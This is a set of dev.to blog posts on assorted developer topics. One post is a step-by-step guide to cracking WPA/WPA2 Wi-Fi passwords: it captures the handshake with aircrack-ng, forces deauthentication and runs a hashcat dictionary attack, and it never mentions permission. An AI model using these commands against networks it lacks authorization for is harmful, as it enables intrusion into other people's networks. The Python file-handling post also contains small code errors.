teleren/devto huggingface dataset:
My understanding of the Scrum Framework and Benefits of the Scrum Events
Tags: scrum, agile
Published: 2020-02-21 01:19:51

The Scrum framework is a methodology where people come together to work on complex projects and tackle the project in small chunks or small increments.

Scrum is based on the agile framework which is a software development methodology and which allows the process of development to be flexible based on the fast-changing tech world. 

This means that teams who adopt the scrum framework are more likely to be adaptable to the market needs, quick in delivery and collaborative inside and outside of the team. These teams are even more likely to produce high-quality products than teams who adopt more traditional frameworks.

There are two parties who benefit from scrum.

First and foremost is the client.

Most clients feel the need to participate in the development process either by providing feedback or even just being updated regularly about progress. Scrum events like daily stand-ups specifically address this concern,which leaves the client happy and content while also allowing the developer to stay consistent in developing the app to avoid project delays.

Scrum events also helps the developer(s) in a few particular areas like management, organization and planning.

At the beginning of each development cycle, the team decides on which features to develop and ship next, this reduces , in some cases eliminates, disorganization where many features are being developed at the same time and in the end none of the features are shipped within the agreed time frame which leads to product failure.

An important aspect of scrum is the retrospective stage where after each development cycle, the team takes time to review their weaknesses and strengths allowing them to focus energy to improve in weak areas.

In conclusion, Scrum has numerous advantages over more traditional approaches in terms of speed, quality and collaboration.

Note this: Scrum events can also be personal. 😉
Hack Wifi (WPA/WPA2) with Aircrack-ng
Tags: linux, bash, security
Published: 2020-02-21 00:05:35

## Crack-WIFI-WPA2 in Linux! 

Prerequirments :

- Aircrack-ng : `sudo apt install aircrack-ng`

### Lets capture the flag (I mean Handshake):

Open terminal.....

#### Terminal-1:
1. Detect your wireless network interface : 

```
ifconfig
```
![Interfaces](https://dev-to-uploads.s3.amazonaws.com/i/4mhxrabkmt8jk3o2klze.png)

**if coudn't find command then try :**

```
/sbin/ifconfig
```

<i>lets take **wlp3s0** as the wireless interface</i>


2. Start monitor mode : 
 ``` 
sudo airmon-ng start wlp3s0 
```
![Enable Monitor mode](https://dev-to-uploads.s3.amazonaws.com/i/2rkd5dtkq34r7eq3uamt.png)

3. capture traffic  : 
   ```
sudo airodump-ng wlp3s0mon 
```
![Monitoring](https://dev-to-uploads.s3.amazonaws.com/i/jxh9qpoqjos40kdltxlx.png)

#### Terminal-2:

4. select target and focus on one AP on channel:
   
```
sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon
```

- **xx.xx.xx.xx.xx.xx** defines : **AP BSSID** -> 00.11.22.33.44.55 (suppose)
- **y** defines : **AP channel** -> 10  (suppose)
- **filename** is the file name where the **handshake** will captute and make some other stuffs .

![Monitong target](https://dev-to-uploads.s3.amazonaws.com/i/8zjk8plcyl6z29fnryhv.png)

#### Terminal-3:
5. Send traffic to the channel :

```
sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx  wlp3s0mon
```

- ammoun of **traffic**-> y

![Deauth](https://dev-to-uploads.s3.amazonaws.com/i/2zt6a5hmp46fskpmgefq.png)

6. Capture handshake : it will be shown in the monitor if captured ! at **Terminal-2**.


7. Now you got the handshake .**(terminal-2)** 
   
8. Stop the process of terminal-2 : `ctrl+c`
   
### Now Lets crack the password !
   

**There will be a WPAcrack-01.cap file in your home directory**


1. convert cap file  into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php 

or 

1. use **[cap2hccapx.c](https://github.com/hashcat/hashcat-utils/blob/master/src/cap2hccapx.c)** file to convert the **cap** file to **hccapx** file 
```
gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx
```

![cap to hccapx](https://dev-to-uploads.s3.amazonaws.com/i/uw7skeg2i1er7oby9u5w.png)

2. Crack password using **hashcat** : 

   - **Install hashcat :**`sudo apt install hashcat`
   - check is everything oky ? : `hashcat -I`  **to use hashcat you need gpu**
   - crack password :

```
sudo  hashcat -m 2500 wpacrack.hccapx dictionary.txt
```
    
- dictionary.txt -> word list (suppose) 
- wpacrack.hccapx is the handshake file
  
![hashcat](https://dev-to-uploads.s3.amazonaws.com/i/fgckhzgx1q9jew9682se.png)

![Status](https://dev-to-uploads.s3.amazonaws.com/i/8x1esdec8o18mkkeb8m6.png)

Then you will get the password. 

![password](https://dev-to-uploads.s3.amazonaws.com/i/gju9qq3yvasq1lsuk40v.png)

[Here is the git repo you can find **cap2hccapx.c** ](https://github.com/jspw/Crack-WIFI-WPA2)
Docker spring cleaning
Tags: docker
Published: 2020-02-21 00:00:00

---
title: Docker spring cleaning
date: "2020-02-21T00:00:00.000Z"
tags: ["docker"]
---

When using Docker you may find over time that disk space is being consumed rapidly by ophan images and/or volumes.

_(These commands were tested with Docker running on Ubuntu, your mileage with Docker on Windows or macOS may vary.)_

To find out how much disk space Docker is consuming type the following command in your terminal:

~~~bash
docker system -df
~~~

This will give you an overview of what resources are being used. 

There are a number of ways to clean up unwanted Docker artifacts and reclaim disk space using your terminal, a few of which are outlined below. 

## Deleting exited containers

~~~bash
docker rm -v $(docker ps -a -q -f status=exited)
~~~

## Removing unwanted 'dangling' images

~~~bash
docker rmi $(docker images -f "dangling=true" -q)
~~~

## Deleting unwanted volumes

~~~bash
docker volume rm $(docker volume ls -qf dangling=true)
~~~

## Pruning

With Docker v1.25 or later you can accomplish the above with the [prune](https://docs.docker.com/engine/reference/commandline/system_prune/) command:

~~~bash
docker system prune
~~~

To remove all unused images (vs. just 'dangling' ones), include the `-a` switch:

~~~bash
docker system prune -a
~~~

## Automating spring cleaning

[docker-gc-cron](https://github.com/clockworksoul/docker-gc-cron) is an excellent Docker container provided by Spotify that can be used to automatically clean up unused containers and images.

You may want to consider modifying the default `docker-compose.yml` file provided with configuration values more appropriate to your needs e.g.

~~~bash
# Set the grace period
- GRACE_PERIOD_SECONDS=43200 # 12 hours

# Commenting out will reset the log output to UTC
# - TZ=America/New_York
~~~
My First PCF Control: TimeZoneDisplay
Published: 2020-02-24 16:39:59

---
title: My First PCF Control: TimeZoneDisplay
published: true
date: 2020-02-21 00:00:00 UTC
tags: 
canonical_url: https://www.mehmetseckin.com/2020/02/21/my-first-pcf-control-timezonedisplay.html
---

PowerApps Component Framework is a new way to build helpful, reusable components that provide better user experiences in an efficient and maintainable way. I have been looking for a PCF control idea to learn and explore this new framework and its capabilities.

Recently, I have missed a series of international webinars due to my timezone miscalculations, and decided to address this with a PCF control. This is how the Time Zone Display was born.

Time Zone Display is a simple control that allows you to convert a date or datetime field to any given time zone. It’s built using `React.js` and the Office UI Fabric components.

![Time Zone Display](https://www.mehmetseckin.com/images/tz_autocomplete.png)

If you’d like to check it out, head over to GitHub to download the [latest release](https://github.com/mehmetseckin/TimeZoneDisplay/releases/latest).

If you have any feedback or would like to improve it, please get involved and create an issue or send a pull request!
Assembly with same name is already loaded
Tags: dotnet, nuget, git, versioning
Published: 2020-02-21 11:10:33

---
title: Assembly with same name is already loaded
published: true
date: 2020-02-21 00:00:00 UTC
tags: dotnet, nuget, git, versioning
canonical_url: 
---

I am in the process of building and publishing my first ever NuGet package and while I am not ready to go into that today I can post a quick tip about fixing an error I had with a library I am using to help with git versioning.

The library is [Nerdbank.GitVersioning](https://github.com/AArnott/Nerdbank.GitVersioning) and the error I got was when I tried to upgrade from an older version to the current one.

The error?

```text
The "Nerdbank.GitVersioning.Tasks.GetBuildVersion" task could not be loaded from the assembly 

Assembly with same name is already loaded Confirm that the <UsingTask> declaration is correct, that the assembly and all its dependencies are available, and that the task contains a public class that implements Microsoft.Build.Framework.ITask
```

And the fix was to run the following command, thanks to [this issue](https://github.com/AArnott/Nerdbank.GitVersioning/issues/374) over on GitHub

```powershell
dotnet build-server shutdown
nbgv install
```

Success 🎉
Detect The Carrier/Mobile Network Of A Phone Number With Javascript, PHP, Java, C++, Ruby, etc
Tags: javascript, php, webdev, typescript
Published: 2020-02-22 14:00:43

---
title: Detect The Carrier/Mobile Network Of A Phone Number With Javascript, PHP, Java, C++, Ruby, etc
published: true
date: 2020-02-21 00:00:00 UTC
tags: javascript,php,webdev,typescript
canonical_url: https://www.leonelngande.com/detect-the-carrier-mobile-network-of-a-phone-number-with-javascript-php-java-c-ruby-etc/
---

For a long time, I’ve struggled with this problem of determining the Mobile Network a given phone number belongs to. Today I found out Google’s [libphonenumber](https://github.com/google/libphonenumber) library (or any of it’s [third party ports for other languages](https://github.com/google/libphonenumber#third-party-ports)) have this functionality built-in.

Specifically, the [PhoneNumberToCarrierMapper](https://github.com/google/libphonenumber#highlights-of-functionality) functionality. I am currently using this with the PHP port [here](https://github.com/giggsey/libphonenumber-for-php#mapping-phone-numbers-to-carrier).

While researching this today, I equally came across [this](https://www.itu.int/oth/T0202000024/en) [document](https://www.itu.int/dms_pub/itu-t/oth/02/02/T02020000240001PDFE.pdf) which describes the breakdown of phone numbers by Carrier in Cameroon (MTN, ORANGE, and NEXTTEL). You can equally check it out if you intend to write functionality for a more specific use case.
Fun and random GitHub projects - A directory
Tags: github, random
Published: 2020-02-20 22:03:48

Have you seen any cool projects on GitHub that aren't going to change the world, but add just a bit of joy to our lives?

*Note: This post will be continually updated as I find more cool projects!*

—————

### Table of Contents:
- [Introduction](#introduction)
    - [Tamagotchi Temp](#tamagotchi-temp)
    - [vscode-pets](#vscodepets)

—————

## Introduction
Not much of an intro this time - skip to the projects below! 👇🏼

### Tamagotchi Temp
- [GitHub](https://github.com/graceavery/tamagotchiTemp.git)

I was on GitHub after committing some changes to my repos when I stumbled across a 2000's gem 💎: Tamagotchi.

![A tamagotchi-like sprite in MacOS Pro’s interactive toolbar](https://dev-to-uploads.s3.amazonaws.com/i/kq1gew66b3x4w04qik72.png)

This was too cute to not immediately fork!

You can feed it, pick up poo, and keep it happy by playing with it. Yes, it's a total throwback to the 2000s.

### vscode-pets
- [VSCode Marketplace](https://marketplace.visualstudio.com/items?itemName=tonybaloney.vscode-pets)


Similar to tamagotchiTemp, but you can customize a code editor pet! Choose between a cat, dog, duck, snake, or Clippy. Interact with it by throwing a ball and playing with it!

![User cursor interacting with cat sprite in code editor](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pkxi65mlkhxx6thkx6po.png)
 
—————

Feel free to enlighten me and others on cool projects you've found ☺️ Let me know in the comments below, follow, or chat!


P.S. I heard there's a GitHub project that makes fart sounds where you cursor moves!
New Release: Codinators.XunitHelpers Nuget Package
Tags: showdev, testing, xunit
Published: 2020-02-24 05:49:41

---
title: New Release: Codinators.XunitHelpers Nuget Package
published: true
date: 2020-02-21 00:00:00 UTC
tags: showdev, testing, xunit
canonical_url: https://www.ankursheel.com/blog/new-release-codinators-xunit-helpers-nuget-package
---

I have created [Codinators.XunitHelpers](https://www.nuget.org/packages/Codinators.XunitHelpers/) (a nuget package) to add some useful unit testing functionality that is missing in xUnit.

The 1st Release adds support for loading test data from a JSON file as outlined in the article [How to load test data from a JSON file for xUnit tests](https://www.ankursheel.com/blog/load-test-data-from-a-json-file-for-xunit-tests).

Install it by using the following command

```
dotnet add package Codinators.XunitHelpers
```
How to Start with Node JS (for Linux [debian])
Tags: node, javascript, linux, webdev
Published: 2020-02-20 23:49:45

Open Terminal :

* Install NodeJs : `$ sudo apt install nodejs` <br>

* check version : `$ node --version`

[in some case you have to install **npm** (node package manager) manually]()<br>

* npm installation : `$ sudo apt install npm`  <br>

* make a json file : `npm init` edit .json file and in **script** write your own command to run node server . 
<br> 

 <h4> Example : </h4>
 
>   

    "scripts": {
        "test": "echo "Error: no test specified" && exit 1",
        "start": "node app.js",
        "start-server":"node app.js"
    }

in this case `npm start` will start the server app.js 
> Note : **start** is a special node command . But if we want our own command such as **start-server** , we have to use ```npm run start-server```

<br>

* update npm globally :`sudo npm install -g npm` <br>

#### Installing 3rd party packages :
* install nodemon : `npm install nodemon --save-dev`
as  we have installed nodemon for develoment , it will install as **devDependencies**

>

       "devDependencies": {
             "nodemon": "^2.0.2"
         }
            
  nodemon is a development tool that will automatically  restart our npm start whenever we edit our code !


<h4> Debugger setting in vs code for NodeJs </h4>

<ol>
    <li>Go to debuger</li>
    <li>Add configuration</li>
    <li>Select node.js</li>
    <li>Edit launch.json file</li>

</ol>

> 



    "configurations": [
        {
            "type": "node",
            "request": "launch",
            "name": "Launch Program",
            "skipFiles": [
                "<node_internals>/**"
            ],
            "program": "${workspaceFolder}/app.js",
            "restart": true,
            "runtimeExecutable": "nodemon"
        }
    ]


 5.save

> Note : in the json file we just chnage the default **runtimeExecutable** value **node** to our third party package **nodemon**
Hiring without interviews - is it possible?
Tags: discuss
Published: 2020-02-20 23:14:51

---
title: Hiring without interviews - is it possible?
published: true
tags: discuss
---

Hatred towards an interviewing process in the tech field is a common topic, but if you were to design the hiring process from scratch how would you do it?

Should we keep doing the standardized repeatable whiteboard-style interviews?

Or should it be a take-home assignment? Paid or not?

Or maybe we should move to the model of already vetted candidates where you just pick and hire?

I'm interested in the perspective from both sides - the companies and the candidates.
Tesla Hack shows how far AI is from being really intelligent
Tags: machinelearning, computerscience
Published: 2020-02-20 21:34:57

Recent [news](https://www.businessinsider.com/hackers-trick-tesla-accelerating-85mph-using-tape-2020-2) about successful "Hack" of Tesla car. It's system of computer vision / optical recognition catches images of road signs to provide "auto-pilot" function. Researches modified shape of the character in speed limit sign (see picture below) and Tesla misread it as 85 instead of 35, while it seems obvious human brain/eye can't make such a mistake.

What does it mean?

![Image which bewildered Tesla](https://i.imgur.com/X078xOx.png)

We are surrounded nowadays bu "smart" things, including smart tooth-brushes and smart toilet-seats. We are made to believe that computer brain nowadays can do wonders.

But it's not exactly so. Even not close.

During last 50 years humankind come up with many clever (even whimsical) algorithms which allow computers to outperform human brain in many tasks. Siri can find you nearest toilet or correct spelling of any word. Some "robo-babes" can politely talk to audience - while Boston Dynamics robo-dogs open doors by pressing handles - and this impresses!

Nevertheless we still have quite vague idea of how the human brain works and learns. We can teach computer to self-learn in some field (e.g. decision making in some game) - or to extract information about "diapers and beer" from sales logs.

We can teach it letters and digits - but suddenly it appears the underlying algorithm "classifies" them in different, more primitive manner than human. Consider, for example, how dogs recognize other dogs despite being of very different breed, even if never seeing anything alike. Computer (e.g. Neural Network) can't extrapolate knowledge in this way.

And so, in 2020, most of breaking news about using AI, ML, NN or GA anywhere from automotive industry to crime investigation generally has strong smell of marketing. Still those algorithms are clever math functions and methods which astonishingly can achieve goal in many cases - and surprisingly fail in many other cases!

**So don't be easily fooled by hype-words. We still have very long way to make machines "clever" in general sense of word. Though still it seems possible.**

![Hapless robot](https://thumbs.gfycat.com/GleamingZealousFiddlercrab-size_restricted.gif)
Bootstrap 3 dalam Pug
Tags: bootstrap, css, webdesign, ui
Published: 2020-02-20 23:02:48

---
title: Bootstrap 3 dalam Pug
published: true
description: Berbagai kode Bootstrap 3 dalam markup Pug
tags: bootstrap, css, webdesign, ui
series: Web Design
---

# Warna

| Warna | Kode |
|-|-|
| Merah | `.*-danger` |
| Kuning | `.*-warning` |
| Hijau | `.*-success` |
| Biru | `.*-info` |

# Modal

```slim
.modal
  .modal-dialog
    .modal-content
      .modal-header
      .modal-body
      .modal-footer
```

# Panel

```slim
.panel.panel-default
  .panel-heading
  .panel-body
  .panel-footer
```

# Container

```slim
.container
```

# Navbar Fixed Top

```slim
.navbar.navbar-default.navbar-fixed-top
  .container
    .navbar-header
      a.navbar-brand
```

# Progress

```slim
.progress
  .progress-bar.progress-bar-default
```

# Form

```slim
form
  .form-group
    label
    input.form-control
```

# List Group

```slim
.list-group
  a.list-group-item
```

# Alert

```slim
.alert.alert-warning.alert-dismissible
  .close(data-dismiss=".alert") &times;
```
Know who you walk with
Published: 2020-02-20 22:45:12

At every point in our life, we come in contact with people of different personality, belief, race, color(whites, blacks, e.t.c), ideology and many other factors(pick your own) that classify us. We make friends, acquaintances, business partners, spouse, and even foes!(you sure have one don't you?). The relationships we have and the ones we had, had in one way or the other affected us, either positively or the other way round. We learnt lessons, taught lessons, created memories, erased some, got influenced, influenced some, and many others(humans are complex you know). But, there are some people in our life whom even though may be dead, alive, close or far away, have in one way or the other made huge impacts in our life and are possibly still doing so. *we do not follow people or take interest in them if we do not have something to get from them*. We build relationships with people not because we just want to, but because we have a reason to. Those people we encounter, we need to be able to learn at least one good lesson which will hold their memories in our heart and help us in dealing with future acquaintances. Know your friend, know who wants you to become better than you are, know those that pull you down, know the people who stand by you and those who desert you. Know who you can boldly call a friend, a brother, a partner, a wife, a husband, a father, a mother, and a foe. **"if you must build a relationship, know why you want to build it and know who you want to build it with. One of humans greatest mistakes is lack of true understanding"**. To be good is to have good people around you, to be great is to have great people around you, and to be successful, you need to move with successful people. *meeting people is quite different from knowing them*
Charming the Python: File Handling
Tags: python, beginners
Published: 2020-02-20 22:24:50

*If coding tutorials with math examples are the bane of your existence, keep reading. This series uses relatable examples like dogs and cats.*

---

## File Handling
File handling allows you to create, read, update and delete files. I assume this is where CRUD comes from.

### Opening a File
Using the open() function, you can create, read, and update files
```python
#syntax
open('filename', mode)
```
#### Mode

| mode |  | does... | if file doesn't exist... |
|--|--|--|--|
| `r` | read | default value, opens for reading | error if file doesn't exist |
| `a` | append | opens a file for appending | creates file if it doesn't exist |
| `w` | write | opens a file for writing | creates file if it doesn't exist |
| `x` | create | creates specified file | error if file already exists |
| `t` | text | default value, text mode |  |
| `b` | binary | binary mode, (e.g. images) |  |


##### Reading a File
This first examples let's us look at the WHOLE file
```python
file = open('./dogs.txt','r')
text = file.read(). # put a number as a parameter & get that many characters
print(text)

#output
allllllllllllllllllllllllllllllllllllllllllllllll the words of the file print here and blah blah blah...
```

you may also `readlines()` and `read().splitlines()`


#### Writing to a File
If you write a file that doesn't exist, it will create one. Here's an example.
![Python Idle and .txt file windows](https://dev-to-uploads.s3.amazonaws.com/i/p974o79qy4ylp4bkoug2.png)
```python
with open('./dogs.txt','w') as f:
	f.write('text about dogs')
```

#### Append to a File
To append = add to the end
If I want to make my file include cats, here's what I'd do
```python
with open('./dogs.txt','a') as f:
    f.write('and cats')
```

Now the file reads: "text about dogs and cats"

### Deleting a File

```python
import os
os.remove('./dogs.txt')
```
If the file doesn't exist, it can't remove it and will give an error. For this case, it may be good to use an if-else condition.
```python
import os
if os.path.exist('./dogs.txt’):
    os.remove('./dogs.txt')
else:
    os.remove("file doesn't exist")
```

---
Series loosely based on {% post https://dev.to/asabeneh/30daysofpyton-challenge-43ii %}